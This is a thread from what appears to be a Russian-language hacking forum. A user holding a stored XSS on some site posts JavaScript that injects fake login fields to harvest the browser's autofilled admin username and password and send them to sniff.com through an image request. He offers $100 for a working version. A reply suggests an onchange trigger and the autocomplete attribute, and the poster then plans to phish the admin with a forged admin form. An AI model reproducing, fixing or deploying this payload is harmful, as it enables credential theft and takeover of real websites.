• XSS.stack #1 – первый литературный журнал от юзеров форума

Сниф пароля через автозаполнение в браузере в 2025 году через stored xss - возможно ли?

cmcoder

RAID-массив
Пользователь
Регистрация
30.05.2023
Сообщения
75
Реакции
34
Приветствую.

Есть хранимая xss, пытаюсь снифнуть юзернейм и пароль админа с помощью следующего кода
JavaScript:
function xss() {
    const p = document.createElement("input");
    p.setAttribute("type", "password");
    p.setAttribute('id','password')
    p.setAttribute('name','password')

    const l = document.createElement("input");
    l.setAttribute("type", "text");
    l.setAttribute('id','username')
    l.setAttribute('name','username')

    const f = document.createElement("form");
    f.appendChild(l);
    f.appendChild(p);
    // f.setAttribute("hidden", "true");
    document.body.appendChild(f)

    document.body.onclick = function(e) {
        document.querySelector('#password').focus();
        document.querySelector('#username').focus();


        new Image().src = "https://sniff.com/?user="
            + document.querySelector('#password').value + "&pass="
            + document.querySelector('#username').value;
    }
}
xss()

Поля дорисовываются, но автоматически не срабатывает автозаполнение из бразуера и запрос уходит с пустыми переменными: ?user=&pass=
Тестировал в Chrome и Firefox, не работает ни там ни там. При клике вручную на поля автозаполнение работает в обоих браузерах.
Возможно ли инициировать автозаполнение программно из JS, или такой вариант безнадежно устарел?
Варианты из статьи https://xss.pro/threads/70997/ тоже не работают, как и другие варианты которые смог нагуглить. Заплачу $100 за рабочий вариант.
 
1. вроде бы автозаполнение не работает на созданные через JS элементы (не точно)
2. отправляй не сразу, а используя атрибут onchange https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords
3. попробуй присвоить полям еще и autocomplete
Спасибо, но не сработало, походу это уже не работает в принципе. Остается варик попробовать определить админа, отрисовать ему форму админки и снифать уже ее) С трудом верится в такой вариант но за неимением лучшего буду пробовать)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх